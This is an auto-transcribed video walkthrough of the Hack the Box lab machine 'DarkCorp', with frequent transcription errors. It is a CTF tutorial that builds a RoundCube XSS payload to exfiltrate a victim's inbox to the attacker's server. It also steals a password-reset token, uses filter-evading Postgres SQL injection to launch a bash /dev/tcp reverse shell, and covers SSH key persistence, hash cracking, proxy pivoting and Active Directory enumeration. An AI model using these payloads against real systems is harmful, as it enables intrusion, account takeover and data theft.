What's going on, YouTube? This is Ipsac and we'll be doing Dark Corp from Hack the Box, which is a very lengthy machine that has a lot of advanced concepts that I really enjoy, especially when it gets to about middle of the box where there's a lot of NLM and Caribbe relaying going on as these are extremely powerful techniques that a lot of pentesters never bother learning because honestly, there's often easier ways to get domain admin than relaying credentials. However, mastering this technique is not a bad thing as it's got me out of a lot of jams in the past. Anyways, it starts off with a cross-sight scripting vulnerability in RoundCube where we can send a malicious email to enable the ability to read a user's entire inbox, which leads us to another service that is SQL injectable with some late evasion. We get command execution and a

HackTheBox - DarkCorp


shell on the box. And from here, there's just a lot of enumeration and shenanigans with certificates, relaying, dappy, etc. That leads us to rooting a Linux box with Kerros and hijacking a user's principal name. As root, we can dump cache credentials, crack it, and gain access to an account that can manipulate GPUs to pop the domain. There's a lot of twist and turns here, so let's just jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions, vv for double verbose. This gives us things like the TTL OA output all formats the end map directory and call it dart corp. And then the IP address of 10101.54. This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. First one is SSH on port 22 and the banner tells

HackTheBox - DarkCorp


us it's a Debian box. We also have HTTP on port 80. Its banner tells us it's engine X and we don't really get much more information. So let's just go ahead and take a look at the web server because there's not much else to go on. So I'll do HTTP 10154 and I have it configured to go through burpuite. So let's just turn this intercept off. And it's going to drip.htb. So, I'm going to add this to my host file. So, let's do pseudo v etsy host. And then we can say 10 10154 drip.htb. Save this. And then refresh the page. And burp suite has the DNS cached. So, it'll take a minute or two for it actually to work. So, for now, I'm just going to disable Burp so we can take a look at the website quickly. So, going here, we see drip mail, a convenient email solution. There is a signin. And if I click that, we just go to mail.drip.htb. HTTP and the page is

HackTheBox - DarkCorp


just /index. Normally when I see this, I don't think it's PHP. Um, we could look at the page source code to try to identify what framework this is. I don't see anything there. Let's go to a 404 page. And this looks like maybe a custom 404 page. So, no way to enumerate exactly what's being used. Um, I'm going to guess it's either going to be Flask or Django just because it's normally PHP or Python. Django would normally have a slashadministrator endpoint, I want to say, and we don't have that here. So, um, I'm going to guess this is a Flask website. Let's see. Does it say anything here? It doesn't. Um, at the bottom, we have a contact form. So, I'm just going to play with this. Let's do IPSC roots. And a message. I'm just going to do please subscribe. And then we can turn Burp back on. Hopefully, it's been long enough for it to cache uh undo the cache of DNS. Let's go to the repeater tab and

HackTheBox - DarkCorp


looking at what we send to the contact form. We send name or email message and it's also sending the recipient. This is going to be support drip.htb. So we have a email leak. I'm looking at this. We see a cookie. And right based off this cookie, I know this is going to be flask I think because it looks very much like a JWT, but the middle thing is um smaller. Uh, Flask does a really weird way of setting the session cookie. So, I'm pretty sure this is a Flask website. I always like checking contact forms, though, because a lot of times on Hack the Box machines, the contact form will just do nothing. So, you know, it's not an endpoint worth looking at. But this one, it does have stuff, so there's probably going to be something here. Um, let's go ahead and turn our proxy back off. And we do have a server not found when I clicked on login. And we have

HackTheBox - DarkCorp


mail.drip.h. HTTP as a new domain. So, let's just go ahead and add this to our host file. Save that. Refresh the page.

HackTheBox - DarkCorp


And we get drip mail. This looks like it is going to be Round Cube. Um, let's see what else is there here.

HackTheBox - DarkCorp


There is a signup link. So, if I click sign up, we go to slregister. And I'm just going to do IPSAC password and sign up. And oh, I forgot to um click I agree with the terms, but apparently we don't need that. So if we just go to um sign in, I can log in now with IPSC password and we get logged into RoundCube. Now that contact form did let us set the recipient, right? So if I go back to the repeater page, I'm just going to rename this tab to contact. Um it says recipient here. So if I set this to IP, did I do IPSC or IP? I think I did ipsack. And let's send this. And then if we refresh this page, we get a new email. So if we look at this, we have our message here to please subscribe. And then also there is a footer of the email that says if you suspect this is a fishing email b case. So we have another username. We could

HackTheBox - DarkCorp


begin trying to brute force the RoundCube login with Bcase. See if we get in. But let's go click on about. And this normally leaks the version of RoundCube. We can see the copyright is 2022. So, chances are this is going to be vulnerable to something cuz it is now 2025. Um, so let's go ahead and look at CVE details. And then I'm going to search Round Cube here. And let's just do Round Cube. Accept this banner. And looking at this, we have quite a few vulnerabilities. There is something really interesting. I don't know why, but we see here uh the vulnerability trends over time. 2025 has nothing, right? But if we look at impact by type, 2025 has one. This was released after the um box and it looks like it's detecting I'm using burpswuite and blocking me. But there is an rce. I'll probably dig into this in the beyond brute. This came out after the box was released. Um it does let us to skip one

HackTheBox - DarkCorp


step, but um let's just ignore that one for now. And I'm going to go to 2024.

HackTheBox - DarkCorp


And there is a cross-sight scripting that has a known exploit. That's going to be where I look at first. Um, round cube 15716x. Um, since it says 2024 and um, we're on 2022. I'm just going to assume it's vulnerable. Um, let's see. Does it say through 167? So, it does uh confirm it there. And then if I scroll down, um, this is probably going to be the blog post. like chances are you won't find a PC for the exploit from the vendor itself. So that's why I'm not looking at those. I'm going to go over to um the Cerner source because this is probably going to have the most information, right? And we can look at a lot of this information. I would highly recommend reading it. It would take probably 30 minutes for me to go over. So I'm going to skim down to where there is a proof of concept and then we're

HackTheBox - DarkCorp


just going to exploit it. Right. Um this is going to be cross-hat scripting. And where is that proof of concept? I just missed it, I guess. Um, this is code something. Let's see. I don't think that's it.

HackTheBox - DarkCorp


There we go. This is going to be the crossite scripting payload in the blog post. And it's just going to do on animation start alert and origin. So, this should pop up a um JavaScript message if it is vulnerable. And I'm going to use the contact form to um send this. So we're going to go put the message here. And I'm going to paste it.

HackTheBox - DarkCorp


And then let's just make sure this is on one line. So we'll do this. And then let's just put this on one line as well so we don't break the HTTP RFC.

HackTheBox - DarkCorp


Highlight all this. And I'm going to press controlU to euro code it. The recipient is already me. So if I send this email off and then we go to our inbox, we get something here and it just displays the HTML, right? If I look at something, we have the content type of text. If I just change this content type to HTML, then the contact form is going to send an HTML email, which then makes sense for it to actually render HTML. So let's go ahead and do this. Wow, that was quick. Click here and we have an alert box. Awesome. So now we have a um XSS payload within RoundCube. Now if we look at the payload requested to um get mail. So let's click on this. I have to turn burpuite on.

HackTheBox - DarkCorp


Okay. Click this. We go to repeater. Send this tab. Let's see. We do task mail caps. And then we have this UYU ID um payload. So if I just send this, let's see, should we get the message? Um what email did I click? This will be please subscribe. I think please sub. Maybe it was fu.

HackTheBox - DarkCorp


Um this is definitely going to be my XSS payload, right? So I'm guessing if I go to this, this is probably UID 1 2 3 4. So, let's change this to um UID 2. And hopefully I can see foo here. Uh zero matches, UID one. Maybe it starts at zero. Uh zero matches still.

HackTheBox - DarkCorp


Let's see. Let's just turn intercept off.

HackTheBox - DarkCorp


Please sub. Oh, it's please subscribe. Uh so let's go back to repeater please. There we uh please reach out sub. So that's one. If I change this to two hopefully please subscribe is here. One match. There we go. So this is how we can read email. So now what we have to do is um change this payload up. So instead of doing a alert, we have some JavaScript here that is going to um do a fetch on this page looping over the ID and then sending another request with that content back to my web server. So this is going to be um a CSRF, I believe is the terminology, the cross- site request forgery, which we're instructing the victim's browser in order to perform a request. So let's go ahead and start that off. I'm going to do payload.js.

HackTheBox - DarkCorp


So the first thing we have to do is a loop. So we'll do for let i is equal to one and we'll go until we have um let's do 100 messages. So do like this. And then each loop we have to increment i. And then here we're going to want to fetch. So I'm going to do fetch. And then let's do http mail.drip.htb HTB and we want to get the actual task. So, let's go here.

HackTheBox - DarkCorp


Um, let's see. Is there any parameters we can filter out? I don't want to do this if I don't have to because that's got a lot of characters in it and like uh messages. This looks fine. I still see one match. So, I'm going to copy this. I always like just getting my payload as simple as possible. So if I notice like special characters and arguments, it's easier just to remove them for me. Um at least see if it works if we remove. So this UID is the message. So I'm going to replace this with I.

HackTheBox - DarkCorp


Okay. And it's important to note if you're doing it in anything other than back, this little um expression won't work. So after fetch we want to set the mode to disable cores because if we don't do that then every request it's going to request an options to identify what um is allowed to access it and when we do that um it just breaks things. So I like disabling cores and then we want to take that response um look at response.ext text. And this is weird like await async things. If you look at my other cross-ite scripting videos, um I show other ways to use fetch that's a little bit more intuitive, but I just want to keep this payload somewhat small. Um but essentially, this line is uh taking that response, waiting till it's finished, and looking at response.ext. And then we assign the text variable.

HackTheBox - DarkCorp


And what we want to check here is what happens if um there is no mail ID, right? Because we're looping a 100 times. So we're getting a 100 mail messages no matter what. We don't want to send a bunch of invalid emails over to our web server because then we just have to filter through a bunch of noise. So what I'm going to do here is let's go back to here. I'm going to change this UID to 99.

HackTheBox - DarkCorp


And then we see doesn't exist. I'm going to scroll down and let's see. Uh, we get a server error. So, we're going to say, um, if the text does not include server error, then we're going to do another fetch, and this is going to be back to us. So, we'll do HTTP 10148 port 8000.

HackTheBox - DarkCorp


Um, and we want to disable cores.

HackTheBox - DarkCorp


We want to send it as a post request because this is going to be a lot of data. Um, and the body of this, we're going to send it um text, which is going to be uh this response up here. So, it's going to be the email body, right? So, we'll do that. Close that one out. Close that if then out. Uh, close the I think fetch out. I hope this is right.

HackTheBox - DarkCorp


Okay. Um I wonder if I can just c this payload and run it. I'm not positive. I think I should be able to. And see LVMP 8000. If I go here, let's go to console paste.

HackTheBox - DarkCorp


Hey, I got a response here. So, it looks like our payload is working, right? This is going to be um email ID 1 as I'm guessing. So, what I want to do is take that payload. So, we can do cat payload.js.

HackTheBox - DarkCorp


We're going to B 64 encode it because this is going to just make it easier to put in our payload, right? So, we can copy this. Let's go back to the contact and then instead of the JavaScript alert message, I'm going to do a eval and we're going to say A2B to B 64 decode.

HackTheBox - DarkCorp


Paste this and then close that out. And now let's go ahead and URL encode this whole thing. And I'm just going to start up a web server on port 8000. We'll send this off.

HackTheBox - DarkCorp


If I go here, we should get a new message. Let's just refresh to force it.

HackTheBox - DarkCorp


And I have my console window open. So, if there's an error, we'll be able to see it.

HackTheBox - DarkCorp


Uh, expecting expression got uhoh.

HackTheBox - DarkCorp


Something went wrong. So on animation eval A2B and then we closed it off. We got nothing.

HackTheBox - DarkCorp


Let's see. Eval A2B. This looks right. Where did I screw up? Oh, duh. Quartz. There we go.

HackTheBox - DarkCorp


And this is why you always test your cross scripting payloads against yourself when you can because it becomes much easier to debug. We're not just waiting hours for something to come, right? Send this contains an unescaped line break.

HackTheBox - DarkCorp


There is no line break. That is encoding a plus there.

HackTheBox - DarkCorp


See um let's make sure we are decoding this properly. So what I want to do instead of eval I'll do a console.log. So it should just print this out right.

HackTheBox - DarkCorp


This is going to confirm our eval works here. Open.

HackTheBox - DarkCorp


Okay. I wonder if I do single quotes.

HackTheBox - DarkCorp


Okay. I want to use single quotes. Um, not exactly sure why, but hopefully you understand that troubleshooting. Uh, let's now just change this console.log back to an eval. It looks like I already got that message. Sometimes this is quick, sometimes it's not. I click it and we get a bunch of 501s, which is a good thing because message is not supported. We're sending messages back over to a Python. So, we're sending many post requests. So, what we want to do now is um print out these post requests. So, I'm going to create a Python script. I'm just going to call it serve.py. And we want to create a HTTP server that can handle post request. So from the HTTP server library, we're going to import the base HTTP request handler and the HTTP server. And then we're going to create a class called web handler that is off of the

HackTheBox - DarkCorp


base HTTP request handler. And I probably should be doing this in VS Code or something because I'm going to make typos. Um, let's do let's try it real quick. Just see if I can do this. uh I think it's do post self and then we need to get the content length so content length is equal to the headers like that and then we want to read this. So post body is equal to um self or file read content length and then decode that to UTF8.

HackTheBox - DarkCorp


I think that's right. And we can just print post body.

HackTheBox - DarkCorp


And then I'm going to print a bunch of dashes just so I know that is done. Okay. And then we want to say if name is equal to main um server address.

HackTheBox - DarkCorp


Let's listen on all host on port 8000 and then start up the web server. So httpd http server server address and then give it our class that we just built. And I need to add a l there.

HackTheBox - DarkCorp


There we go. And we can do try httpd serve forever except keyboard interrupt httpd server close.

HackTheBox - DarkCorp


Let's see where we screwed this up. Uh, forgot a colon.

HackTheBox - DarkCorp


I cannot import name http.

HackTheBox - DarkCorp


I really got to fix my e keycat for a switch.

HackTheBox - DarkCorp


Uh, I put that L in the wrong spot.

HackTheBox - DarkCorp


That's looking good. Post HTTP 1048.

HackTheBox - DarkCorp


Uh, D please sub.

HackTheBox - DarkCorp


Uh, we need to port 8000.

HackTheBox - DarkCorp


Hey, it works. Awesome. So now if I open this payload again, we should be getting every email message here. Now we have a lot of um data here. So let's use beautiful soup to clean it up. Um, normally I would just use regular expressions because I find that to be easier, but every time I do that, I get comments on my videos saying use beautiful soup instead. So, we're going to use that. Um, so let's go back to our serve script. And then I'm going to um from BS4 import beautiful soup.

HackTheBox - DarkCorp


And here we want to actually identify things. So let's try starting out with the subject. Um if I go here, do we have a subject?

HackTheBox - DarkCorp


So we want to use what? H2 class, right? I'm looking at this. Um so we'll do H2.ubject, I think. So instead of print postbody, let's just go with um subject is equal to soup. Select one. H2.

HackTheBox - DarkCorp


And I need to make that A2.

HackTheBox - DarkCorp


There we go. And let's see. We do this read. Um what we also need to do is soup is equal to beautiful soup post body and pass it to the HTML parser.

HackTheBox - DarkCorp


So let's do a print on subject.

HackTheBox - DarkCorp


So instead of printing all the bodies, we should just be printing subjects.

HackTheBox - DarkCorp


I don't know why I sent that again. Um, we just do this. Go back here. And there we go. We got subject. Um, so we're going to need to add a uh strip, I think.

HackTheBox - DarkCorp


So, let's do subject text is equal to subject.get get text strip is equal to true and that is not a parameter. That's going to get rid of like line breaks and things like that. Um, so let's do print subject text. Save rerun this.

HackTheBox - DarkCorp


Not defined.

HackTheBox - DarkCorp


Okay, so we have this. Um, I guess we want to remove open a new window.

HackTheBox - DarkCorp


So here we can doreplace open a new window uh with nothing. There we go. So that's good. Um what else do we need? We need to know who it's from. So we'll do from uh field I guess is equal to uh soup dot uh we want to do a select real quick. Select one. And where is the from?

HackTheBox - DarkCorp


Uh we can go back to here. Root.

HackTheBox - DarkCorp


Is the from going to be here maybe? Let's see. Uh header from TD header from A. So this is probably what we want. Um we're in TD. So that's a TD class. So TD header from and we probably want that a herf.

HackTheBox - DarkCorp


So we'll do soup select one td header from a and then from text is equal to from field get text uh skip is equal to or not skip strip is equal to true print from text and let's do a subject like that.

HackTheBox - DarkCorp


Is this right?

HackTheBox - DarkCorp


Then f from Okay. Save run.

HackTheBox - DarkCorp


Click.

HackTheBox - DarkCorp


We did the um that wrong. Wrong. One second.

HackTheBox - DarkCorp


In Python, I don't think we put the dollar before doing the f string. I think it's just brackets.

HackTheBox - DarkCorp


So, let's try this again.

HackTheBox - DarkCorp


Run it. There we go. Um, we have subject twice.

HackTheBox - DarkCorp


So, let's clean that up real quick. But that looks fine.

HackTheBox - DarkCorp


So, we don't need to actually put this. There we go. And now we just need to grab the message. So we'll do message body is equal to soup do select one and what do we want to select here? Um please sub. Okay, we want to get the div id of message body.

HackTheBox - DarkCorp


So here we're just going to say message body like that and then message text is equal to message body get text um strip is equal to true.

HackTheBox - DarkCorp


Uh we can move these there and then print f. Um let's just do message text.

HackTheBox - DarkCorp


Okay, I think that's our script. Hopefully you followed that.

HackTheBox - DarkCorp


Serve. Click unmatched.

HackTheBox - DarkCorp


Uh something is wrong.

HackTheBox - DarkCorp


Let's see. This is actually that right.

HackTheBox - DarkCorp


I think that's right. That's text.

HackTheBox - DarkCorp


Third time is the term. There we go. Awesome. So now we have everything. Um maybe we want to get rid of this confidentiality notice because I don't want to see that every time. the serve.

HackTheBox - DarkCorp


Let's doreplace uh let's see. Wonder if I do a triple double quote.

HackTheBox - DarkCorp


Will this work? I think it will.

HackTheBox - DarkCorp


Click. There we go. This looks better. Um, we see this through a lot because that's my cross-ite scripting payloads, right? And we've done that a few times, but this looks good. So, now let us send our payload over to our target, right? And we're going to use bcasedrip.htb.

HackTheBox - DarkCorp


That is the email that is in the confidentiality notice. If this doesn't work, then I'd also try like sending it to supportrip.hb. Those are the only two other emails I know of. Right. So, we're going to send this payload and then we're going to wait hopefully a couple seconds and we'll see hits coming in hopefully. Um, I always like just doing a sleep once I send this. So, let's do sleep 60 and see if we get anything. Um, oh, there we go. I was just about to um send it back to myself to make sure everything's working, but we see the cross-ite scripting payload come through. Here is the um welcome.

HackTheBox - DarkCorp


And then we also have this email from Ebble Ford, another user that talks about an analytics dashboard at this domain. So, let's go ahead and copy this. And let's do pseudov Etsy host.

HackTheBox - DarkCorp


And then I'm going to put this host in. And then let's go over to a browser and navigate there. Um, is my intercept on? It is not. Um, access denied. Please log in. So, if I click login, um, we can try reset password. And I'm going to send it to bcase at drip.htb because we know uh, bcase probably has an account. We could also try sending to ebble forward and then sending the cross a scripting payload there because that's who sent us this, right? But let's do forgot password. Send it. And reset token has been sent successfully. So I want to make sure my server is running still. It is. And I'm going to send the cross scripting payload back to B case. And hopefully um we'll have the reset information in an email. Right. Again, if it doesn't work, I'd probably try using this user because if this user sent us the link to

HackTheBox - DarkCorp


the dashboard, um it's safe to say uh they also have an account, right? But let's see. Do we get any hits? Uh which should be coming in any second. There we go. Um welcome to drip mail. Oh, here we go. Subject reset token. So, we can reset it by going here. So, I'm going to copy this link.

HackTheBox - DarkCorp


Let's go to where it says and then I'm going to set the password to password and now let's try logging in. So we'll do b case as the username password of password and there we go. We get logged in to this application. Uh don't save. There we go. And we don't see too much here. Right. If we click on the analytics tab, it looks like we just have some user metadata. There is a search field. So if we just try searching for something.

HackTheBox - DarkCorp


Let's try support. Uh we get an actual error. Uh column support does not exist. Line one select star from users where username is equal to support. And this is uh Postgress SQL because pi or sc don't even know how to pronounce that. But that is Postgress's Python library. So we know we're interacting with a Postgress database. The query is weird. Like it wants a um column name. So let's try putting like username here. Uh that works. I wonder if we did like uh support in quotes. Uh that errors. Um I guess we just want a column name. I don't know exactly what the purpose of this filter is, but Postgress generally supports stacked queries. So we can do a colon then select one. And we see we have ID 1. We could do 1 2 3 4. Um I think there's four columns or maybe five. Uh we don't see where the

HackTheBox - DarkCorp


third column is, but essentially it looks like kind of doing a union, right?

HackTheBox - DarkCorp


But this is just a stacked query. I think that's the terminology where we just run two different queries, right?

HackTheBox - DarkCorp


Um we could check our user. So if we do a select current uh setting and fix this typo uh what is it? I think is super user. I think that's the um setting. We see on so we know we're a super user and in Postgress you can run commands and that is through the program syntax. So, I'm just going to do select one to program ID. Uh, I forget what we're supposed to do.

HackTheBox - DarkCorp


Um, we need a copy. Um, I think it's uh username copy select one to program ID. I think that's actually how we're supposed to do it.

HackTheBox - DarkCorp


um hit enter and we get an error. And looking at it, it just says select one to program ID. It actually erased our copy because if we look here, we sent copy after the semicolon and we don't have it there. So if I just do ipsack, let's see, username is equal to IPSC. If I do copy username is equal to nothing, right? If we do copy sec, we see it actually has that. So it looks like it's doing on the like um copy with a space. So we see that showing if space seps, right? Yeah. So we also now have to do some late evasion. And in Postgress we can do something similar to an eval kind of like what we did with the crossite scripting. Um I'm going to do it in a terminal window just because I think it's easier for you to read. But we'll do um postgress.sql I guess. And what we're going to do we have to do the username colon to get us into the field. And then we do do and

HackTheBox - DarkCorp


then wrap it in uh these double quotes or double like dollar signs. So now we can say declare C as text and C is going to stand for command in this case. And now that that says text, we can say begin C. And now we can do some light obuscation. I'm going to use the character. Um, and if I go to manasky, let's look at what C is. We want the decimal notation. So 67. So we're going to do character 67. And then this double pipe is concatenate. So we're going to combine.

HackTheBox - DarkCorp


So now we can do care. And then what is O? Um, looking down 79.

HackTheBox - DarkCorp


And then we'll just do care. I want to say 80 is P and then Y is 89 I think. So this is copy right here. So we're just obiscating the string because we expect the application I'm guessing flask because that's what our last one was is um just doing a search and place on copy, right? So hopefully this gets us around that. So now we want to do a um concatenate and then space and we can say select one to program and then I'm in these double quotes already. So I'm going to do a double double quote and that's going to just do a single quote. Um, and we'll do bash- c then bash- i dev tcp 101048 9,0001 zero and one. And we got to get out of this double quote. Then the double double the double single quote I should have said. And now we do the last single quote. So this should now uh just be our normal string. And

HackTheBox - DarkCorp


then after this we want to end our like string building and we can say execute C to execute this string and then we do end and then the double dollar and I think that's going to be our query. So, let's go ahead and copy this and then let's do nvmpp 90001.

HackTheBox - DarkCorp


We'll run this and we get a shell. And if you're wondering where I learn all this from, this one's probably from like payload all the things, I'm guessing. So, payload all the things postgress copy program. And this is all stuff you just get from experience, man. Come on, Google. I am not a robot. Don't make me do a capture.

HackTheBox - DarkCorp


Uh, bicycles. Come on. No bike there. No bike there.

HackTheBox - DarkCorp


This should be fine. I passed that test today, thankfully.

HackTheBox - DarkCorp


Come on. Um, GitHub.

HackTheBox - DarkCorp


There we go. uh copy to from program. Right? So after you do enough of CTFs, you start getting used to it. This is just doing like an Xfill. This is copying shell from program. Um so we create a table then copy the results to this I think. But yeah, so that's kind of where I learned this. It's just once you do it a 100 times, you start remembering the syntax for each of these databases. But now that we're in Postgress, uh we could do the quick trick like um import pty to get a proper shell. But Postgress normally actually has a shell. Um let's do cat etsy pass wd gp for everything uh that ends in sh. And we see postgress does have a valid shell. Normally my SQL you're going to like no login or something like that, but Postgress generally does indeed have a shell. So I'm just going to make dur.sh SSH and I'm going to drop an SSH key because later we'll have to do pivoting and um

HackTheBox - DarkCorp


SSH makes it easier not like having to upload chisel and run all that. So uh let's just get our shell real quick. Uh let's do format ED25519.

HackTheBox - DarkCorp


Uh file I'll call this PG.

HackTheBox - DarkCorp


And the format ED25519 just gives me really small uh public keys so it's easier to copy and paste around. Uh echo this to authorized keys then sh-ipg postgress at 10 10 1154 and we get in. Awesome. I'm just going to exit this shell cuz we don't need it. And whenever I land on a web server, I always like going and pilaging the database, right? So I'm going to do psql, which gets me into the Postgress database. I can do back slashl to list all the databases. And we see there's a database for drip mail and round cube. If I use um slash c round cube, we're now connected to that.

HackTheBox - DarkCorp


We can do slash dd to show tables. And there is a users table. So we can do select stir from users and Postgress is weird. It wants the table in quotes. I forgot a semicolon. And then we can get hashes for the user. This is going to be the password hashes I believe. Um it says client hash there. And none of these actually crack. So I just want to show you the things I would normally do, but I'm not going to waste time in trying to crack things just because um they don't crack. Uh the net other table was drip mail slashdt select star from admins and I did not put admins in double quotes that is the error that happens. So there we go. We see the password hash there and then also users and we can get more password hashes but none of these are really that helpful. nothing really cracks at least IPSC would crack because um that's just password right we created

HackTheBox - DarkCorp


that account so that's how I would be paging the database um if we do a w or was it a groups command on Linux we just see we're a member of Postgress and SSLERT if we wanted to we can go in the Postgress logs so if we do Postgress SQL um we have files here so if I do like a grap users on star uh we're doing select star from users. Uh these are the queries I was running. We can see here. So we have logging installed. Um there is gzip file. So if I do zcat to get those. So zcat star.gz grap users. Uh we can see there is an update command. So update user set password to this where username is equal to eel for. So, if we grab this, this looks like an MD5 sum. Um, what is it? Crackstation. I think it's crackstation.net. Um, yes it is. But we could just go here. Submit this capture. Please say I'm not a robot already. There we go.

HackTheBox - DarkCorp


Crack. And we can see Ford's password is the plague 61780.

HackTheBox - DarkCorp


This doesn't really get us anything. We could sh to the box as this user, but um there's not really much else we can do from that. I can do everything I need from Postgress. So, I'm not going to worry about that. Um, if we looked at like ver backups, we could see, let's see, um, there is a Postgress folder and we have a old backup, right? And one way I normally find things like this is just do a find slash dash um I think it's username firstgress and then to devnull um maybe it's a typo is it just dash user this will show everything that progress has um grap-v proc And you'd normally go through these uh directories. I show it a lot. I'm sure like limps and other things would show it. Um but yeah, let's see. We could do var lib as well because that's a pretty noisy directory or um what was it? CIS I think was also noisy. Start removing

HackTheBox - DarkCorp


things like that to filter. So this is where we see oh we have backup. Uh we have logs, backups, things like that. I always like just looking at what my user and my group um own. And that's a good way to do quick um enumeration of things. But we do see there is um this dev dripmail oldsql.gpg. If we um le this, it's going to be encrypted with pgp. Um so if we try to decrypt that let's do um gpg-dept and then uh what is the file name that right right it wants the passphrase um I just put password in and it fails. So we want to try to find a password that Postgress would use. Um, a good answer to that normally is going to be like the Postgress database password itself. So, I'm going to go in uh the actual web apps and see if they have the password coded anywhere. Right? Normally, it's in like environment files. Um, it could also be hardcoded in

HackTheBox - DarkCorp


the application itself, but nine times out of 10, it's going to be in an environment file. Right? So, we see the DB pass for this is here. So, let's just go ahead and try this. So, let's do that. GPG um decrypt again. Is it?

HackTheBox - DarkCorp


There it is. Paste in that password. And there we go. It decrypts. Um I'm going to just put this as al.ext. And I'll put it in devshm. I like working on dev dev shm because I don't have to remember to delete files.

HackTheBox - DarkCorp


That's a temporary file system. So as soon as the server reboots, it gets cleared out anyways, right? So I always like putting in there. And we have um looks like more hashes, right? So let's do a um grap- o capital p and we'll do a through f 0 through 9 32. And what this is going to do is um show us only things that match. And we're matching for a MD5 sum, right? So, this gets every hash out of that. So, I'm just going to copy this and we're going to go back to hashes.org, paste it in, and see if there's any that are easily crackable.

HackTheBox - DarkCorp


Uh, let's go bicycles again. Uh, there's two bikes there. There's a third bike. Verify. Awesome. And we got Ebo Fords again, but we also have Victor one uh Gustav or something. So let's just do GP on this on out. And there we go. Victor R's password is that. So uh what we should do is vcreds.ext I think it's eel Ford and that is the plague. We can say Victor R is going to be this.

HackTheBox - DarkCorp


Awesome. Save that. And let's see. Um, if we grab everything that ends in sh on Etsy pass WD, we don't see any user for Victor, right? If I cat Etsy host, we do see other um computers. We have the DC. We have drip.dartcore. If I try ping 172 16 22.

HackTheBox - DarkCorp


We also have another host there. We can try 24 25.

HackTheBox - DarkCorp


Um, but we have three host. Uh, 21. We know that's the DC. 23. That's going to be the box we're on. I think that's the box we're on. IPA. Yeah, 23 is the box we're on. And 22 we 20.2 is what we don't know. So, let's go ahead and set up a uh proxy. So, that first line on the key is going to be that squiggly C. So, I'm going to do enter squiggly C. That drops me in this command prompt-d1080 to set up a dynamic sock proxy. And now I can just do proxy chains 1721620.1 um net exec. There we go. And let's see, we get authenticated. And that's d1 dark corp.htb. So let's go ahead and add this to our host file. So pseudo v etsy host. Then 1721621.

HackTheBox - DarkCorp


Uh we'll do dco1.d dark quark.htb darkcorp.htb.

HackTheBox - DarkCorp


Save that. And then let's see if 22 is also going to be a windows host. It is. That is web 01. So this is probably running some type of web server. So let's go ahead again. 1726 23 uh 22 web 01 dark corp htb dark corp htb and I guess we could do drip as well. Might as well. 172623 drip drip darkcp.htb and I don't know why I did the domain here. That is actually incorrect. There we go. Awesome. So there we go. We have that. Uh we could do um end mapap. And normally I would upload a static compiled end mapap to this Postgress box because it's going to be so much quicker. But I don't feel like grabbing that. So I'm going to take the lazy way and proxy change with end mapap. So do proxy change end mapap do st to force a full TCP handshake-v so we can see open ports as it finds them. - capital PN because we can't ping

HackTheBox - DarkCorp


through a proxy tunnel. So, this is going to treat all pings as success. And then we can say 1721622.

HackTheBox - DarkCorp


And this looks like it's starting to work, right? Um there's going to be a lot of failures because it's just trying to go to ports it can't. Uh what else could we do? We can use net exec and try some of these creds, right? So, cat um creds. I probably should have done that up here. And we can say proxy chains SMB uh let's do DC01 dark corp.htb- htb- u ebble ford-p the plague 61780 and I forgot net exec again. It's like my muscle memory is like the second argument to net exec is always the protocol and I type proxy chains and I treat that as the first argument. Uh so e4 does not look like it worked. I wonder if it had an exclamation point. Nope, that looks like it's correct. Uh, let's try Victor.r. Now, I could have also typed that username. Um, so that's something I would check if this doesn't work. Gustavo.

HackTheBox - DarkCorp


Man, I should not trust myself typing this whole string.

HackTheBox - DarkCorp


Let's see. Did I do it justice? Does it work? And awesome, we get in. Well, we don't get in, but we have an authentication. So, from here, I always like running rustound. So, we can do rustound. Um, I think it's like dash user. Let's see. Dash u-p d is probably what I want. Dash u. Oh, that's going to be dashp. We'll just do that. Dash u vector r.

HackTheBox - DarkCorp


And domain is dash d.

HackTheBox - DarkCorp


I have -ash u twice. Let's see. Does this authenticate? No, it doesn't because we have to proxy change it.

HackTheBox - DarkCorp


There we go. We're running uh Rust Hound. And we also have the end map finished. So 172622 has 80 5,000 open. We also have SMB. So let's go ahead and try 172620.2. two and we want to change this to be a sock proxy. I already have proxy proxy set up to use 1080 and we just get IIS's page. So let's try changing this to port 5000. We get a login prompt. So what I'm going to do is uh go back here and let's try Victor's username and password. If this doesn't work, then we'll try the password of E Ford. But Victor R put this in it's thinking and we get authenticated. Awesome. So we have a website here. We have Ross Hound output. So I'm going to take a break from that website and let's go in Blood Hound and I'm going to start up the server. So we'll do a docker compose up-d so we can get this information uploaded. Um so once this creates the

HackTheBox - DarkCorp


server, we should be able to access it. And I've been in the habit nowadays to use um Chromium for accessing Blood Hound just because I find Firefox for some reason at least from Parrot to be incredibly slow when interacting with Blood Hound. So um that's why you see me switching over to Chromium just for this tool. Right now I'm waiting for the Graph DB to start because then this page should load. There we go. Blood Hound is running. So let's now log in. I think I typed the right password.

HackTheBox - DarkCorp


Maybe I screwed it up. Eclimation one. Come on. There we go. Uh let's see. No data available. Let's go to the ingest and we will upload files. Uh htb where is dark corp and give it all these JSON files. So now we'll do upload. And we are now ingesting. It's going to take probably uh 30 45 seconds, maybe a minute to ingest. I'm going to pause the video and we'll resume when this is done. Okay, we have completed the ingest. So, if I go over to explore, let's now type the user that we have, which is Victor. So, it is loading. And I said this went faster on Chromium, but it is definitely going slow. I am not used to this. Um, I think my whole VM is going slow.

HackTheBox - DarkCorp


Uh, I probably should close Burp Suite or something. I may have to just give this VM more resources. Something is using it all. Um, let's do close multiple tabs to the left. We don't need any of those. Okay. Hopefully that speeds it up. Uh, Victor R. Let's mark you as owned.

HackTheBox - DarkCorp


And then if we look at outbound permissions, we have four. And this looks normal. Domain user, we can enroll in a few certificates. So nothing too fancy here. If we go over to uh cipher queries, we can also go like uh shortest path from owned objects. And what does this say?

HackTheBox - DarkCorp


nothing. We don't really have anything.

HackTheBox - DarkCorp


Uh let's see. Let's go to another shortest path. Uh two tier zero or high value targets.

HackTheBox - DarkCorp


And this seems messy. Let's see. We have administrator highv value of course. Um Taylor B ADM is probably going to be some type of high value because they are a member of GPO managers. So, they can probably like uh create group policies. And I don't really see much else in Blood Hound. So, let's just go back to this page and see what we have here. Right. If I go over to check status, we can see real-time status monitor. And if I click check, we can see web.darkcp.htb is up. We can select various hosts. We have dbs, web, we do web 02, it looks like it is down. Web 03 is down. Uh the database down. Drip. Drip is up. And this is the Linux box that we're on. Right. We can change the port to 80443 and 8080. Um instead of trying to fight to get Burp going through the sock proxy. I'm just going to check this network tab

